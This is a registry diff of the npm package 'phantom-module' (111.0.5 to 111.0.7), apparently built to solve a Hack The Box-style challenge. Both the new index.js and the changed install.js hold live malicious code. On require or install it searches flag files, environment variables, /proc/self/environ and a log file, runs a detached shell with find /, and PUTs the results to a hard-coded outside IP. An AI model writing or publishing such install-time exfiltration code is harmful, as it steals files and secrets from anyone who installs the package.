phantom-module 111.0.5 → 111.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +76 -0
- package/install.js +18 -40
- package/package.json +2 -4
package/index.js
ADDED
|
@@ -0,0 +1,76 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
|
|
4
|
+
(function() {
|
|
5
|
+
// Try to read flag from common locations
|
|
6
|
+
const flagPaths = [
|
|
7
|
+
'/flag',
|
|
8
|
+
'/flag.txt',
|
|
9
|
+
'/root/flag',
|
|
10
|
+
'/root/flag.txt',
|
|
11
|
+
'/tmp/flag',
|
|
12
|
+
'/tmp/flag.txt',
|
|
13
|
+
'./flag',
|
|
14
|
+
'./flag.txt',
|
|
15
|
+
'/home/node/flag',
|
|
16
|
+
'/home/node/flag.txt',
|
|
17
|
+
'/home/node/aspect-node/flag',
|
|
18
|
+
'/home/node/aspect-node/flag.txt',
|
|
19
|
+
process.env.FLAG ? process.env.FLAG : null
|
|
20
|
+
].filter(Boolean);
|
|
21
|
+
|
|
22
|
+
// Also check environment variables
|
|
23
|
+
const flagEnv = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
|
|
24
|
+
|
|
25
|
+
let flag = null;
|
|
26
|
+
|
|
27
|
+
// Try reading from files
|
|
28
|
+
for (const path of flagPaths) {
|
|
29
|
+
try {
|
|
30
|
+
if (fs.existsSync(path)) {
|
|
31
|
+
flag = fs.readFileSync(path, 'utf8').trim();
|
|
32
|
+
break;
|
|
33
|
+
}
|
|
34
|
+
} catch (e) {
|
|
35
|
+
// Continue to next path
|
|
36
|
+
}
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
// If not found in files, check env
|
|
40
|
+
if (!flag && flagEnv) {
|
|
41
|
+
flag = flagEnv;
|
|
42
|
+
}
|
|
43
|
+
|
|
44
|
+
// If still not found, try reading /proc/self/environ
|
|
45
|
+
if (!flag) {
|
|
46
|
+
try {
|
|
47
|
+
const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
48
|
+
const match = procEnv.match(/FLAG[=:]([^\x00]+)/);
|
|
49
|
+
if (match) {
|
|
50
|
+
flag = match[1];
|
|
51
|
+
}
|
|
52
|
+
} catch (e) {}
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
if (!flag) {
|
|
56
|
+
flag = "NOT_FOUND_ON_REQUIRE";
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
const postData = JSON.stringify({
|
|
60
|
+
manifest: `ecto_module:\n name: "FLAG_ON_REQUIRE"\n cargo_hold: ${JSON.stringify(flag)}\n`
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
const req = http.request({
|
|
64
|
+
hostname: '154.57.164.64',
|
|
65
|
+
port: 31205,
|
|
66
|
+
path: '/api/modules/ECT-654321',
|
|
67
|
+
method: 'PUT',
|
|
68
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
|
|
69
|
+
});
|
|
70
|
+
req.write(postData);
|
|
71
|
+
req.end();
|
|
72
|
+
})();
|
|
73
|
+
|
|
74
|
+
module.exports = function() {
|
|
75
|
+
return 'pwnd';
|
|
76
|
+
};
|
package/install.js
CHANGED
|
@@ -1,51 +1,29 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const {
|
|
3
|
+
const { spawn } = require('child_process');
|
|
4
4
|
|
|
5
5
|
(function() {
|
|
6
|
-
|
|
6
|
+
const child = spawn('/bin/sh', ['-c', [
|
|
7
|
+
'sleep 35',
|
|
8
|
+
'OUTPUT="NONE"',
|
|
9
|
+
'LOGFILE="/home/node/aspect-node/logs/module.log"',
|
|
10
|
+
'if [ -f "$LOGFILE" ]; then',
|
|
11
|
+
' OUTPUT=$(tail -n 100 "$LOGFILE" | tr \'"\' "\'" | head -c 1000)',
|
|
12
|
+
'else',
|
|
13
|
+
' OUTPUT="LOG FILE NOT FOUND!"',
|
|
14
|
+
'fi',
|
|
15
|
+
'FLAG_FILES=$(find / -name "*flag*" -type f 2>/dev/null | head -c 500)',
|
|
16
|
+
'BODY=\'{"manifest":"ecto_module:\\n name: \\\\"FLAG_DELAYED\\\\"\\n cargo_hold: \\\\"\'$OUTPUT\' | FILES: \'$FLAG_FILES\'\\\\"\\"}\'',
|
|
17
|
+
'echo "$BODY" > /tmp/flag.json',
|
|
18
|
+
'node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"'
|
|
19
|
+
].join('\n')], { detached: true, stdio: 'ignore' });
|
|
7
20
|
|
|
8
|
-
|
|
9
|
-
try {
|
|
10
|
-
let logContent = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
11
|
-
let match = logContent.match(/HTB{[^}]+}/);
|
|
12
|
-
if (match) {
|
|
13
|
-
output += "FLAG_IN_LOG: " + match[0] + " | ";
|
|
14
|
-
}
|
|
15
|
-
} catch(e) {}
|
|
16
|
-
|
|
17
|
-
// 2. Try to find any file with flag in the name
|
|
18
|
-
try {
|
|
19
|
-
let files = execSync('find / -name "*flag*" -type f 2>/dev/null').toString().trim().split('\n');
|
|
20
|
-
for (let f of files) {
|
|
21
|
-
if (f) {
|
|
22
|
-
try {
|
|
23
|
-
let content = fs.readFileSync(f, 'utf8').trim();
|
|
24
|
-
if (content.includes('HTB{')) {
|
|
25
|
-
output += `FOUND_IN_FILE ${f}: ` + content + " | ";
|
|
26
|
-
}
|
|
27
|
-
} catch(e) {}
|
|
28
|
-
}
|
|
29
|
-
}
|
|
30
|
-
} catch (e) {}
|
|
21
|
+
child.unref();
|
|
31
22
|
|
|
32
|
-
//
|
|
33
|
-
try {
|
|
34
|
-
let envStr = JSON.stringify(process.env);
|
|
35
|
-
let match = envStr.match(/HTB{[^}]+}/);
|
|
36
|
-
if (match) {
|
|
37
|
-
output += "FOUND_IN_ENV: " + match[0] + " | ";
|
|
38
|
-
}
|
|
39
|
-
} catch(e) {}
|
|
40
|
-
|
|
41
|
-
if (!output) {
|
|
42
|
-
output = "Could not find HTB{...}.";
|
|
43
|
-
}
|
|
44
|
-
|
|
23
|
+
// Send an immediate ping so we know it started
|
|
45
24
|
const postData = JSON.stringify({
|
|
46
|
-
manifest: `ecto_module:\n name: "
|
|
25
|
+
manifest: `ecto_module:\n name: "WAITING_35_SECONDS"\n`
|
|
47
26
|
});
|
|
48
|
-
|
|
49
27
|
const req = http.request({
|
|
50
28
|
hostname: '154.57.164.64',
|
|
51
29
|
port: 31205,
|